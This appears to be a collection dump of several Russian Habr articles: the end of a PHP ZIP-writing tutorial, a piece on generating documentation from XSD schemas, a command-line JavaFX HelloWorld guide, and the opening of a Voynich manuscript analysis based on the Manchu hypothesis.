$written += fwrite($handle, $CDFH);
}
// Все, разобрались со словарем. Давайте отметим, где он закачивается
$EOCD['sizeOfCentralDirectory'] = $written - $EOCD['centralDirectoryOffset'];
// А теперь можно записывать End of central directory record
$EOCD = pack('LSSSSLLS', ...array_values($EOCD));
$written += fwrite($handle, $EOCD);
// Архив готов.
fclose($handle);
echo 'Размер архива составил: ' . $written . ' байт' . PHP_EOL;
echo 'Для проверки валидности архива запустите `unzip -tq ' . $destination . '`' . PHP_EOL;
echo PHP_EOL;
```
Попробуйте запустить этот примитивный код и на выходе вы получите файл Lorem.zip, который будет содержать 1.txt и 2.txt.
### А зачем?
Конечно, любой адекватный человек скажет, что писать архиваторы на php это бесполезная затея, тем более что для такого формата, как zip, есть куча готовых реализаций на любой вкус и цвет. И в том же php есть готовые библиотеки. Я тоже так скажу :)
Но зачем же тогда вот вся эта статья, зачем я тратил время на её написание, а вы на прочтение?
А затем, что все не так просто и знание того, как работает zip, открывает нам некоторые дополнительные возможности.
Во-первых, я надеюсь, хоть немного, но поможет желающим понять структуру zip.
А во-вторых, создавая архив своими руками, мы имеем контроль, и, главное, доступ к его внутренним данным.
Мы можем предварительно расчитать Local File Header и Central Directory File Header, а потом on-demand генерировать zip-архив на лету с любым содержанием и порядком файлов, просто подставляя эти данные. И никаких накладных расходов, кроме как на ввод-вывод.
Или же, мы можем записать архив, загрузить его, например, в облако, которое поддерживает фрагментарное скачивание и, зная смещения для каждого из файлов, получать любой из файлов архива, как будто он и не в архиве-то вовсе, добавив всего лишь один заголовок к запросу. А потом все это можно проксифицировать и…
Ладно, давайте не будем забегать наперед. Если вам интересна эта тема, то в следующих статьях я постараюсь рассмотреть эти возможности и показать, как их использовать.
---
> 'diskNumber' => 0, // Мне обычно попадался везде 0, а в особенности я решил не вникать
Как подсказал [berez](https://habr.com/ru/users/berez/) — номер тома в многотомном архиве. | https://habr.com/ru/post/471066/ | null | ru | null |
# Документирование форматов информационного обмена — легко и просто
1. Вступление
-------------
В далеком 2001 году, консорциум W3C выработал рекомендации языка определения схем XML (XSD), объединив наиболее популярные языки описания схем в один стандарт. Основная цель, которая при этом преследовалась – получение платформо-независимого стандарта, который могут использовать все участники информационного обмена. Обуздав хаос, XML стал самым привлекательным форматом информационного обмена. В наши дни XML формат в информационных технологиях используется очень широко, выйдя далеко за рамки простого обмена данных.
Следствием популярности и широты использования XML становятся как увеличение объемов, так и усложнение структуры передаваемых в XML данных. Свою немалую лепту в этот процесс внес и более молодой и простой формат JSON, который «отобрал» у XML все информационные потоки с более-менее простой структурой форматов сообщений. На сегодня мы имеем то, что XSD схемы, описывающие структуру данных XML сообщений, стали большими и сложными. Читать большие и сложные схемы в текстовом виде стало очень тяжело, поэтому возникает необходимость как в специальном ПО, так и в актуальной документации, которая описывает форматы XML сообщений.
В этой статье я расскажу о том, как решалась проблема документирования форматов XML сообщений, используемых для информационного обмена…
2. Проблематика
---------------
Самая лучшая документация по XSD схеме – это сама XSD схема. Эта аксиома верна до тех пор, пока схема не превысит некоторый порог сложности или вы не встретите человека, который не умеет или не хочет читать XSD схемы. При разработке приложения, использующего XSD схемы, Вы также можете столкнуться с требованием описать разработанные форматы сообщений в технической или сопроводительной документации.
Если же Вы связаны с разработкой приложений со слабосвязанными или распределенными компонентами в сервис-ориентированной архитектуре, Вам знакомы понятия SOA (service-oriented architecture) и SOAP (Simple Object Access Protocol), то очень скоро наступит момент, когда Вы сами будете нуждаться в актуальной документации больше, чем Ваш заказчик.
Поэтому вопрос «Нужна ли документация?» имеет однозначный ответ «Да», рано или поздно с этим столкнется каждый, кто связан с разработкой ПО, использующего XML.
Следующий очевидный вопрос – каким должен быть результат документирования форматов? Ответить на этот вопрос довольно сложно, ведь у разных потребителей результата (архитекторов, разработчиков, аналитиков, технических писателей, администраторов, представителей Заказчика и всех остальных) стоят совершенно разные задачи.
Решают эту задачу по-разному. Кто-то (например, разработчики oXygen) пошел по пути полного описания XSD схемы. В результате чего описание становится еще более сложным для понимания, чем сама схема. Другие стоят на том, что все должны уметь читать XSD схемы и никакой документации не нужно – иногда только потому, что понимают, что они не в состоянии поддерживать актуальность этой документации. Как всегда, истина лежит где-то посередине…
3. Суть проблемы
----------------
Процесс разработки форматов сообщений можно представить следующими крупными шагами (см. рисунок ниже).
Итерация № 1:
* 1. Определить объем данных для информобмена – на этом шаге определяется объем данных, который нужно передавать между участниками информобмена – сущности, их атрибутивный состав и взаимосвязи.
* 2. Разработать XSD схемы – на основании шага № 1 архитектор или разработчик разрабатывает XSD схемы, которые кроме самих данных, содержат механизмы SOAP сообщений, необходимые для транспорта, безопасности и т.д.
* 3. Описать форматы сообщений – на этом шаге разрабатывается документация, в которой описываются форматы и приводятся примеры сообщений.
* 4. Согласовать – на этом шаге выполняется проверка и согласование форматов внутри команды, разрабатывающей эти форматы. Если обнаружены неточности, итерация разработки повторяется.
Процесс разработки форматов сообщений итеративный. После того, как первая итерация пройдена и замечания получены, следующая начинается сразу с шага № 2:
* 2. Разработать XSD схемы – архитектор вносит изменения в XSD схемы, это занимает намного меньше времени, чем заняла разработка этих схем на первой итерации.
* 3. Описать форматы сообщений – аналитик или технический писатель должен обновить документацию с описанием форматов.
И вот тут у него возникает дилема: внести только те изменения, о которых сообщил ему архитектор или крыжить все схемы, у которых изменился размер файла. Любой, даже самый добросовестный работник выберет первый вариант – и будет неправ. Этот вариант не работает! – в схемах очень часто присутствуют незаявленные изменения, о которых архитектор или разработчик забывает сообщить и при таком подходе описание форматов неизбежно разойдется со схемами. Чем это грозит? – когда начнется разработка, расхождение обнаружится, что внесет толику хаоса и в разной степени усложнит разработку всем командам, участвующим в интеграции.
Может ли быть еще хуже? – да, если график разработки у команд-участников разный. Одна из команд в начале года, в соответствии со спецификацией, реализует отправку сообщений с неверно заполненными данными и благополучно закрывает контракт. Другая команда в середине года реализует прием этих сообщений и обнаруживает расхождение между требуемыми данными и их описанием. В этот раз хаос приходит, чтобы остаться надолго и расхождение форматов с их описанием может обойтись слишком дорого.
Каково же решение? Увы – остается единственный вариант – крыжить каждый раз, все изменившиеся схемы. Это принять очень непросто. Документ с альбомом форматов может занимать не одну сотню листов и прокрыжить его, это очень тяжелый и кропотливый труд. Очень часто, на того, кто разрабатывает этот документ оказывает сильное давление срочность выполнения. Не все понимают, почему изменить описание нескольких элементов в нескольких схемах может «стоить» целый рабочий день или еще больше.
Таким образом данный шаг становится «узким местом» разработки, где каждый в меру своей ответственности определяет, что в данный момент ценнее – качество или время.
* 4. Согласовать – согласование на первых порах идет внутри команды разрабатывающей форматы. Когда внутреннее согласование пройдено наступает очередь согласования внешнего – у всех участников информобмена.
Обнаруженное «узкое место» ставит очень непростой выбор между качеством и временем разработки. Выбрать между ними почти невозможно потому, что нужны сразу оба варианта!
4. Документирование форматов сообщений
--------------------------------------
Самый очевидный вариант документирования форматов – ручками. Открываете схему и описываете ее элемент за элементом, что занимает очень много рабочего времени. Если схема большая или их много, то уже через несколько дней Вы приобретете специфический красный оттенок глаз профессионального программиста и стойкое отвращение к этой работе. Следом придет понимание того, что не может быть, чтобы подобную работу давно не автоматизировали и последующий упорный поиск готового инструмента.
Прежде чем искать инструмент для автоматизации, неплохо было бы понять, как его хотелось бы использовать и каким должен быть результат его работы?
Вся работа по документированию форматов сообщений укладывается в следующие сценарии использования:
* Документирование структуры элементов одной или нескольких XSD схем с заполненным «documentation» – это самый простой вариант, когда мы формируем документ из одного источника информации (XSD схемы). Обычно это схемы, которые разработаны внутри команды в рамках текущей работы. Идеально, если разработка ведется с учетом соглашения о разработке схем, в котором указано, не только то, что элементы схемы должны документироваться, но и каким именно содержанием и формулировками.
* Документирование структуры элементов одной или нескольких XSD схем с незаполненным «documentation», либо заполненным частично – этот вариант посложнее. Это схемы, которые разработаны другими командами. Часто такие схемы регулярно приходят со стороны «As is» и мы не можем предъявлять к ним какие-либо требования. В этом случае из самой схемы может быть взята только структура, а описание элементов нужно добавлять ручками.
* Сравнение структуры элементов XSD схем разных версий – у нас есть схемы и их описание, и вот схемы поменялись и нужно актуализировать описание либо получить информацию об изменениях. Схемы могут меняться как значимо, когда добавляются или удаляются элементы, так и чисто косметически, когда в каком-то комментарии убрали лишний пробел и изменилась контрольная сумма файла. Отдельно нужно отметить случай, когда схема переписывается с использованием другого шаблона – в этом случае с точки зрения данных ничего не меняется, но узнать в новой схеме старую можно только потратив на это много времени или используя специальное ПО. С учетом того, что схемы могут приходить пачками из сотен штук, становится понятно, что сравнивать схемы глазками очень сложная и ресурсоемкая работа.
Что касается результата, за много лет работы со схемами и их документацией, я выработал собственное понимание, каким должен быть результат описания форматов сообщений, что называется «от сохи». Основу концепции можно описать всего тремя пунктами:
* Сама схема вторична – первичны данные. При разработке нам не требуется описание схемы как таковое – нам нужно описание данных, которые описывает эта схема. По сути нам нужно описание формата элементов в том виде, в котором они находятся в XML сообщении, или в XSD схеме, разработанной с использованием шаблона проектирования «Матрешка» (Russian Doll) (подробнее о шаблонах проектирования см. в статье «[Шаблоны проектирования XSD](https://habr.com/company/cit/blog/259167/)»). Именно в этом виде удобно обсуждать схему как при разработке, так и много позже, при интеграции или сопровождении. Именно ее хочет видеть Заказчик в технической документации.
* Описание форматов должно быть простой и понятной таблицей, с которой могут одинаково легко работать как профессиональные разработчики, так и те, для которых все, что связано с разработкой является некой «магией». Всегда найдется тот, кто, являясь для Вас критически важным источником или потребителем информации, ткнет на XSD схему пальчиком и скажет: «Что это???».
* Все элементы должны быть описаны в альбоме форматов однократно. Это означает, что при описании какого-либо элемента, вынесенного в отдельную XSD схему, в таблице должен быть описан только этот элемент. Не нужно подтягивать туда весь формат SOAP сообщения, не нужно раскрывать типы, описанные в импортированных схемах. Такой подход не даст документу раздуться до неприличных размеров и лучше читается, а при необходимости внести дополнительную информацию по какому-либо элементу, сделать это нужно будет в одном месте!
Как же выглядит описание форматов в документе? В процессе работы, таблица с описанием форматов элементов XSD схемы не раз менялась, как по набору колонок, так и по их наполнению, пока не получила колонки, описанные в ниже:
* "№ п/п" — здесь показано позиционирование элемента на схеме в виде многоуровневого списка.
* «Наименование элемента и его тип» — здесь показаны данные, идентифицирующие элемент – наименование элемента и его тип.
* «Описание элемента» — здесь показаны бизнес данные по элементу – его описание с точки зрения бизнеса.
* «Правила заполнения» — здесь показаны технические данные: правила заполнения элемента, формат данных, примеры значений и т.д.
* «Мн.» — здесь показана мощность элемента – обязательность, множественность и возможность выбора элемента.
Пример описания форматов приведен ниже в разделе «Решение»…
5. Поиск решения
----------------
Исходя из сценариев использования и требуемого результата сформировались основные требования к функциям инструмента, который должен автоматизировать эту активность:
* Генерация описания форматов элементов для выбранной XSD схемы.
* Генерация описания форматов элементов для всех XSD схем в выбранной папке и ее дочерних папках.
* Сравнение описания форматов элементов для выбранной схемы (либо схем в папках) и ее предыдущей версии.
* Обогащение описания форматов элементов в выходном документе с использованием описаний элементов, заданных в отдельном файле.
* Приведение описания форматов элементов к единому виду в структуре шаблона «Матрешка», независимо от использованного шаблона при проектировании XSD схем.
Не смотря на распространенность использования XSD и большое количество ПО, с ним работающего, я так и не нашел инструмента, которое хотя бы частично соответствовало этим требованиям.
Однако, проблема была как никогда актуальна и такой инструмент был создан…
6. Решение
----------
Для тех, кому интересно посмотреть на инструмент, я приведу ссылки на него в комментарии после статьи, в рамках же статьи интереснее взглянуть на результат, как пример документирования форматов сообщений.
### 6.1. Пример обработки документированной схемы
Здесь показан результат описания форматов элементов, полученного из XSD схемы с заполненным «documentation».
#### 6.1.1. Исходная схема
**Заголовок спойлера**
```
xml version="1.0" encoding="UTF-8"?
Пример схемы для описания атрибутов заказчика.
Заказчик.
ID заказчика.
Имя.
Фамилия.
Адрес.
Наименование улицы.
Наименование города.
Почтовый индекс. >>> Заполняется в соответствии со справочником почтовых индексов.
```
#### 6.1.2. Полученный результат
### 6.2. Пример использования внешнего описания
Здесь показан результат описания форматов элементов, полученного из XSD схемы с незаполненным «documentation».
#### 6.2.1. Исходная схема
**Заголовок спойлера**
```
xml version="1.0" encoding="UTF-8"?
```
#### 6.2.2. Данные файла внешнего описания
**Заголовок спойлера**
```
\matr Пример схемы для описания атрибутов заказчика.
Customer Заказчик.
CustomerId ID заказчика.
FirstName Имя.
LastName Фамилия.
Address Адрес.
StreetAddress Наименование улицы.
City Наименование города.
Zip Почтовый индекс. >>> Заполняется в соответствии со справочником почтовых индексов.
```
#### 6.2.3. Полученный результат
Обратите внимание, что полученный результат полностью идентичен результату обработки документированной схемы!
### 6.3. Пример сравнения двух схем
Здесь показано описание форматов элементов, полученного при сравнении разных версий XSD схемы.
#### 6.3.1. Исходная схема
**Заголовок спойлера**
```
xml version="1.0" encoding="UTF-8"?
```
#### 6.3.2. Предыдущая версия схемы
**Заголовок спойлера**
```
xml version="1.0" encoding="UTF-8"?
```
#### 6.3.3. Полученный результат
У новых элементов «FirstName», «LastName» и «Zip» выделены жирным шрифтом все колонки. У элемента «Address» изменилась позиция – жирным шрифтом выделена только первая колонка. Удаленные элементы «FullName» и «Country» выделены серым шрифтом. Также «читать» изменения помогает фон строк.
Данное представление делает отличия легко читаемыми как на экране, так и в печатном виде.
7. Резюме
---------
Сейчас, чтобы сделать новую версию альбома форматов для нескольких сотен XSD схем, требуется всего несколько минут. Выходной файл в формате документа Word получается объемом без малого в 1500 листов. Исчезли проблемы ошибок в описании, а самое главное — неактуальности описания схем. Таким образом, получилось успешно автоматизировать одно из самых трудозатратных направлений в управлении разработкой приложений. | https://habr.com/ru/post/418345/ | null | ru | null |
# JavaFX -- безыдейный HelloWorld
Описание запуска HelloWorld из примера, предложенного Oracle в «Getting Started with JavaFX», но безыдейно, то есть, без IntelliJ IDEA и вообще какой-либо IDE. Реализовано на ПК с Windows. Опус относится к классу «Чайник — чайнику». Внезапно оказалось, что для компиляции и запуска простейшего приложения из командной строки недостаточно информации туториала, в котором приведен код этого приложения.
Человеку опытному такие записки могут показаться забавными. Однако, тем, кто только подошел к полю, усеянному граблями, подобный путеводитель может быть полезным.
Спросите — зачем, собственно? Для обучения, как и все HelloWorld`ы. Не хочу умалять значения IDE и заявлять: «Только блокнот! Только хардкор!» Но командная строка позволяет если и не понять всю механику, то хотя бы заглянуть под капот. Особенно когда некоторый опыт программирования за еду уже есть. Внезапно возникло желание расширить горизонты и освоить, ну, допустим, Java. По крайней мере, попробовать.
Есть совершенно замечательный пост [Работа с Java в командной строке](http://habrahabr.ru/post/125210/ "Работа с Java в командной строке") от [Qwertovsky](http://habrahabr.ru/users/qwertovsky/). Все же, для дальнейшего погружения маловато голой консоли, хочется окошек. Желательно, в виде десктопного приложения. Почитал, какие есть варианты создания GUI для Java-программ, и что о них думает народ, остановился пока на JavaFX. Оказалось, что на русском в разного рода интернетах про JFX написано довольно мало, и существенной частью про первую версию. Значит, придется рыть на сайте Oracle.
[jfxpub-overview](http://docs.oracle.com/javafx/2/overview/jfxpub-overview.htm "jfxpub-overview") сообщает нам, что, поскольку JavaFX-приложения пишутся на языке Java, я могу использовать для их создания свой любимый редактор или какую-нибудь IDE (NetBeans, Eclipse или IntelliJ IDEA). Предлагается заглянуть на сайт [www.oracle.com](http://www.oracle.com) и скачать Oracle JDK 7 с поддержкой JavaFX 2.2.n, а потом воспользоваться пособием [jfxpub-get\_started](http://docs.oracle.com/javafx/2/get_started/jfxpub-get_started.htm), чтобы создать простое приложение, демонстрирующее работу со слоями, таблицами стилей и визуальными эффектами. Еще там предлагается использовать JavaFX Scene Builder для разработки пользовательского интерфейса без кодинга, но это как-нибудь потом.
Установлен JDK и (на всякий случай) JRE. У меня в системную переменную PATH само ничего не прописалось, и я вручную прописывать не стал.
Берем упомянутый пример как есть.
**HelloWorld.java**
```
package helloworld;
import javafx.application.Application;
import javafx.event.ActionEvent;
import javafx.event.EventHandler;
import javafx.scene.Scene;
import javafx.scene.control.Button;
import javafx.scene.layout.StackPane;
import javafx.stage.Stage;
public class HelloWorld extends Application {
public static void main(String[] args) {
launch(args);
}
@Override
public void start(Stage primaryStage) {
primaryStage.setTitle("Hello World!");
Button btn = new Button();
btn.setText("Say 'Hello World'");
btn.setOnAction(new EventHandler() {
@Override
public void handle(ActionEvent event) {
System.out.println("Hello World!");
}
});
StackPane root = new StackPane();
root.getChildren().add(btn);
primaryStage.setScene(new Scene(root, 300, 250));
primaryStage.show();
}
}
```
Авторы пособия предлагают использовать NetBeans IDE 7.3. Обойдемся. Делаем папку для проекта, допустим, D:\GetStart\, в ней создаем папку для исходников src и папку для результатов компиляции out. Раз уж пробный класс относится к пакету helloworld, надо сделать одноименную папку в src и положить туда файл HelloWorld.java.
Чтобы это компилировалось, сделаем в корне проекта файл compile.cmd. Так удобнее вносить правки в команду компиляции — не надо полагаться на память интерпретатора командной строки, и вообще, можно обойтись без cmd.exe, пользоваться любимым файловым менеджером, а хоть бы и проводником.
jfxpub-overview рассказал, что JavaFX полностью встроен в Java SE 7 JRE и JDK. На странице [downloads](http://www.oracle.com/technetwork/java/javafx/downloads/index.html "downloads") желающим скачать JavaFX для Java SE 7 предлагают просто скачать Java SE 7. Среди файлов JDK нет javafxc и javafx. По всей видимости, скомпилировать JFX-приложение можно так же, как и любой другой java-файл. Поэтому в командный файл запишем две строчки:
```
@"C:\Program Files\Java\jdk1.7.0_40\bin\javac" -d out src\helloworld\HelloWorld.java
@pause
```
Вторая строчка дает возможность рассмотреть сообщения об ошибках. Если же в появившемся окне cmd.exe будет единственное сообщение «Для продолжения нажмите любую клавишу...», значит, предыдущая команда выполнена без ошибок.
Однако, запуск выдаст длинную простыню, которая, вероятно, вся даже не влезет в окно вывода. 18 ошибок, что-то не найдено, что-то не существует. Чтобы посмотреть все сообщения полностью, можно первую строчку CMD-файла дополнить перенаправлением потока вывода ошибок в файл «2> result.txt».
**Ошибки**
```
src\helloworld\HelloWorld.java:3: error: package javafx.application does not exist
import javafx.application.Application;
^
src\helloworld\HelloWorld.java:4: error: package javafx.event does not exist
import javafx.event.ActionEvent;
^
...
symbol: class Scene
location: class HelloWorld
src\helloworld\HelloWorld.java:15: error: method does not override or implement a method from a supertype
@Override
^
18 errors
```
Компилятор не может найти пакеты JFX. Надо ему подсказать, а для этого надо узнать самому. Может быть, я не очень внимательно рылся, но на сайте Oracle не нашел, точнее, нашел только на [форуме](https://forums.oracle.com/thread/2317379). Искомый файл — jfxrt.jar (логично — **J**ava**F****X** **R**un **T**ime), и он лежит в JRE, то есть, у меня, например, в C:\Program Files\Java\jre7\lib и C:\Program Files\Java\jdk1.7.0\_40\jre\lib. Добавим опцию -classpath:
```
@"C:\Program Files\Java\jdk1.7.0_40\bin\javac" -d out -classpath "C:\Program Files\Java\jre7\lib\jfxrt.jar" src\helloworld\HelloWorld.java
@pause
```
Теперь компилируется. Создалась папка ./out/helloworld, и в ней файл HelloWorld.class. Если баловства ради в файле .java переименовать пакет в package HelloWorld, то и папка создастся в соответствующем регистре — ./out/HelloWorld, вот только приложение не запустится.
Хотелось бы запустить. В упомянутой теме на форуме Oracle предлагается вариант с упаковкой в jar, но попробуем сначала запустить так. Сделаем еще командный файл run.cmd с заранее указанной библиотекой JFX:
```
@"C:\Program Files\Java\jdk1.7.0_40\bin\java" -classpath "C:\Program Files\Java\jre7\lib\jfxrt.jar" helloworld.HelloWorld
@pause
```
При запуске получим ошибку:
```
Error: Could not find or load main class helloworld.HelloWorld
```
Ну что ж, значит, classpath еще маловат, надо указать и место жительства нашего откомпилированного класса:
```
@"C:\Program Files\Java\jdk1.7.0_40\bin\java" -classpath "C:\Program Files\Java\jre7\lib\jfxrt.jar;.\out" helloworld.HelloWorld
@pause
```
Запуск этой команды наконец-то приведет к появлению окошка с кнопкой с иллюстрации get\_started. При этом будет видна и консоль cmd.exe. Нажатие на кнопку в окошке приведет к появлению сообщения «Hello World!» в консоли.
Упаковать в jar все-таки хотелось бы. Воспользуемся утилитой javafxpackager. Запущенная в консоли без параметров, она выдает довольно подробную и понятную справку по своим опциям. Можно сделать файл jar.cmd:
```
@"C:\Program Files\Java\jdk1.7.0_40\bin\javafxpackager" -createjar -appclass helloworld.HelloWorld -srcdir .\out -outfile HelloWorld -v
@pause
```
Из проводника получившийся jar у меня запускается двойным щелчком мышки. Однако, файловый менеджер заходит в этот файл, как в архив (коим файл, собственно, и является). Кроме того, в проводнике файл запускается без консоли. Поэтому для удобства я добавил еще и run\_jar.cmd:
```
@"C:\Program Files\Java\jre7\bin\java.exe" -jar HelloWorld.jar
@pause
```
Работает!
Далее в руководстве предлагается сделать окно ввода логина и пароля с целью обучения основам размещения элементов, потом из этого окна делается стильная красотулечка с использованием каскадных таблиц стилей (CSS), затем рисуется эта же форма, но с помощью FXML. Во всех этих действиях разбросано немножечко грабель. Ничего особенно сложного — просто неочевидности, о которых в руководстве не сказано, а программу в результате не откомпилировать или не запустить. | https://habr.com/ru/post/197494/ | null | ru | null |
# Манускрипт Войнича. Маньчжурский кандидат
[Манускрипт Войнича](http://ru.wikipedia.org/wiki/%D0%A0%D1%83%D0%BA%D0%BE%D0%BF%D0%B8%D1%81%D1%8C_%D0%92%D0%BE%D0%B9%D0%BD%D0%B8%D1%87%D0%B0) (МВ или VMS) называют чашей Грааля криптографии. За несколько сотен лет тысячи человеко-дней были потрачены и продолжают тратиться в попытках разгадать его смысл и перевод. Причем пытались люди очень разные, в том числе выдающиеся мировые криптографы. Пока что получается не очень. Две с небольшим сотни пергаментных страниц, неизвестный алфавит, неизвестный язык, каллиграфический уверенный почерк, десятки рисунков неизвестных растений и обнаженных женщин, купающихся в странных каналах, зодиакальные астрологические диаграммы — множество зацепок, но пока ничего, что позволило бы дешифровать рукопись. Для любого, кто хоть чуть-чуть попробовал поразгадывать крючки, МВ представляется идеальной головоломкой — не имеющей пока известной разгадки.
###### Страница [16v](http://www.jasondavies.com/voynich/#f16v/0.5/0.5/2.50)
Видел несколько месяцев назад [пост](http://habrahabr.ru/post/210136/) на Хабре про ацтекский язык и ботаников, опознавших несколько центрально-американских растений, но всё-таки достану из черновиков свои записи. Их цель — познакомить читателей с миром разгадывателей VMS и моим не очень глубоким анализом одной из относительно недавних гипотез — о маньчжурском языке манускрипта.
Прогуляться по сканам высокого разрешения можно здесь: [Voyage the Voynich Manusript](http://www.jasondavies.com/voynich/#f1r/0.5/0.5/2.50)
Впервые с МВ я познакомился из давней [статьи](http://old.computerra.ru/offline/2005/573/37310/) в бумажной Компьютерре, но немного позаниматься им захотелось сейчас, после интервью [Ленты.ру](http://lenta.ru/articles/2013/07/12/voinich/) с автором последнего исследования Марчелло Монтемурро, [опубликованным на PLoS One](http://www.plosone.org/article/info:doi/10.1371/journal.pone.0066344). Советую ознакомиться со статьями в Википедии и Компьютерре и интервью на Ленте.
###### Граф статистической связанности между частями манускрипта — рисунок из статьи Монтемурро
За историю разгадывания рукописи появилась уйма гипотез о её языке — от европейских (одном или их смеси) и ближневосточных до совершенно редких и дальних, типа древнеяванского или индейских, носители которых с Европой 15 века не контактировали; не обошлось и без [перевода](http://www.trypillia.com/index.php?option=com_content&view=article&id=85:voynich-manuscript&catid=50:linguistics&Itemid=64) с древнеукраинского. Одни из последних «прорывов» начала этого года — это [расшифровка](http://www.vesti.ru/doc.html?id=1318447) десятка слов британским лингвистом [Стивеном Бэксом](http://stephenbax.net/?page_id=11) и [попытки](http://habrahabr.ru/post/210136/) привязать некоторые рисунки и подписи к центрально-американским эндемикам и индейским языкам. Также немало исследователей отчаялись и решили, что текст — подделка или бессмыслица, абракадабра, созданная с целью напустить тумана или поразить покупателей. Но все же тех, кто верит, что МВ — реальный зашифрованный текст — намного больше. Есть причины полагать, что это так:
1. Наличие сложной структуры текста. Как и все реальные языки, МВ подчиняется [закону Ципфа](http://ru.wikipedia.org/wiki/%D0%97%D0%B0%D0%BA%D0%BE%D0%BD_%D0%A6%D0%B8%D0%BF%D1%84%D0%B0), т.е. частота слова обратно пропорциональна его порядковому номеру в отсортированной по частоте последовательности.
2. По энтропийным характеристикам текст близок к европейским языкам — латинскому, английскому
Помнится, в одной из автобиографических книг Ричарда Фейнмана описывается его анализ альбомных листов якобы неизвестных книг c иероглифами Майя. В том рассказе Фейнману довольно быстро удалось расколоть подделку с помощью статистических оценок и логических рассуждений. Дальше он с восторгом фантазирует — как было бы здорово, если кто-то решился бы создать по-настоящему крутую подделку, с учетом всех закономерностей в таких текстах. Если кому-то когда-то такая подделка удалась — то это МВ.
В 2003-2004 некий польский исследователь Збигнев Банасик (Zbigniew Banasik) предложил маньчжурскую версию. Ссылок на него, кроме его письма о Войниче, я не находил, только при написании этой статьи нашел публикацию в [польской газете](http://www.paplife.pl/palio/html.run?_Instance=cms_paplife.pap.pl&_PageID=9&dep=3220&kat=1&_CheckSum=2020252060). Google дает перевод, это любитель-лингвист и полиглот из села под Вроцлавом… Он предложил трансляцию алфавита манускрипта в латиницу и дал начальное толкование первой страницы. Первая страница манускрипта **1r** — одна из главных целей атак на VMS, считается, что разгадав хотя бы ее часть, можно получить ключи ко всей рукописи.
##### Короткая справка о маньчжурском языке.
Есть [статья](http://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D0%BD%D1%8C%D1%87%D0%B6%D1%83%D1%80%D1%81%D0%BA%D0%B8%D0%B9_%D1%8F%D0%B7%D1%8B%D0%BA) русской Википедии. Вкратце, маньчжуры — народ, живший в северной части современного Китая и немного дальневосточной России, родом с Прибайкалья и Алтая. Более древнее название — чжурчжени. В 17 веке напали и захватили Китай, спалили Шаолинь, основали династию Цин, которая правила до начала 20 века. В этот период официальный документооборот Поднебесной велся на манчьжурском языке, в китайских архивах скопилось коллосальное число документов, до которых у исследователей не дошли руки. Считается, что хороший историк-китаист должен овладеть маньчжурским хотя бы для того, чтобы прочитать важнейшие документы эпохи в подлиннике. С 17 века у маньчжур был оригинальный [алфавит](http://www.omniglot.com/writing/manchu.htm), но потом они перешли на китайские иероглифы. Китайцы сильно развили язык завоевателей, добавили в него множество слов, перевели на маньчурский Дао Де Цзин и военный трактат Сунь-Цзы, и в конце 19 века успешно ассимилировали Маньчжурию. Сейчас почти все маньчжуры говорят на китайском за исключением небольшой обособленной народности [Сибо](http://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D0%B1%D0%BE). Уже в конце 19 века маньчжурский язык считали вымирающим, сейчас его можно считать почти мертвым.
Исторически в России XIX в. сложилась мощная школа маньчжуроведов, которая, как пишут, сдала в XX в из-за войн и революций. В сети можно найти скан в pdf глубоко проработанный «Полный маньчжурско-русский словарь» [И.И. Захарова](http://ru.wikipedia.org/wiki/%D0%97%D0%B0%D1%85%D0%B0%D1%80%D0%BE%D0%B2,_%D0%98%D0%B2%D0%B0%D0%BD_%D0%98%D0%BB%D1%8C%D0%B8%D1%87) издания 1875 г. Но в данном случае удобнее пользоваться оцифрованным маньчжурско-английским словарем [Дж.Нормана](http://en.wikipedia.org/wiki/Jerry_Norman). [Здесь](https://www.youtube.com/watch?v=nCf0cTGOFbE) можно послушать песенку ARKI UCUN с латинским подстрочником. Как я понял, название переводится вроде «давайте выпьем» или как-то похоже.
###### Маньчжурский офицер династии Цин, поздние 1700е, картинка из [Википедии](http://commons.wikimedia.org/wiki/File:Manchuguard.jpg?uselang=ru)
#### Описание методики
##### Алфавит и трансляция
В общем, я взял очень много из работы, которую проделал William Porquet. На его страничке есть большой пост [A Manchu Skeleton Key to the Voynich Manuscript](http://deepsky.com/~merovech/voynich/voynich_key.html). С главной страницы там ссылок на него нет, но он гуглится, и также я много интересно нашел в корневой [веб-папке](http://deepsky.com/~merovech/voynich/), где лежит статья. Кроме этого он оставлял ссылки на статью на разных форумах войничеведов.
Итак, взяв алфавит Банасика и его расширение, которое предложил Porquet, можно перевести текст манускрипта в несколько вариантов текста на латинице с небольшим числом дополнительных букв. Далее двигаясь в предположении, что мы получили некий текст на маньчжурском языке или же на одном из его диалектов — вымершим или смешанным с дополнительными словами из другого языка, мы можем попытаться получить варианты переводов каждого слова и фраз из нескольких слов. Одно из главных предположений состоит в том, что слова были написаны на слух или же человеком, владеющих языком без глубокого знания грамматики и орфографии — если таковая была на момент создания. Это значит, что одно слово может быть записано несколькими похожими вариантами. В пользу этого говорят особенно распространенные окончания ain, aiin, aiiin, daiin, итд. в нотации [EVA](http://ru.wikipedia.org/wiki/%D0%95%D0%B2%D1%80%D0%BE%D0%BF%D0%B5%D0%B9%D1%81%D0%BA%D0%B8%D0%B9_%D0%B0%D0%BB%D1%84%D0%B0%D0%B2%D0%B8%D1%82_%D0%92%D0%BE%D0%B9%D0%BD%D0%B8%D1%87%D0%B0) (*European Voynich Alphabet*).
Первым делом я создал базу для анализа текста. По ряду причин был выбран Oracle 11g. Oracle упомянут из-за того, что примеры запросов будут приводиться на его версии SQL. Со скриптами вы можете ознакомиться в [репозитории](https://github.com/longwall/voynich_manchu_oradb) Github. Там выложен набор скриптов, создающих схему, таблицы и ряд DML SQL скриптов, наполняющих данными таблицы манускрипта, маньчжурско-английского словаря и некоторых других.
Итак, несложной последовательностью регулярных выражений из текстовых записей манускрипта в EVA и в расширенном алфавите Банасика получаем скрипты, импортирующие VMS построчно, где индекс строки выглядит как . Например, вторая строка первой страницы рукописи имеет индекс **```
<1r.2>
```** :
Первые 2 строки VMS в нотации EVA выглядят так (взято с [www.voynich.nu/analysis.html](http://www.voynich.nu/analysis.html)):
fachys.ykal.ar.ataiin.Shol.Shory.cThres.y,kor.Sholdy
sory.cKhar.or,y.kair.chtaiin.Shar.are.cThar.cThar,dan
Трансляция будет выглядеть так:
`'<1r.1> ', 'fachys.ykal.ar.ataiin.Shol.Shory.cThres.y,kor.Sholdy'`
`'<1r.1> ', 'cušil i cum us uhungg tom tosi jolkl i cos tombi'`
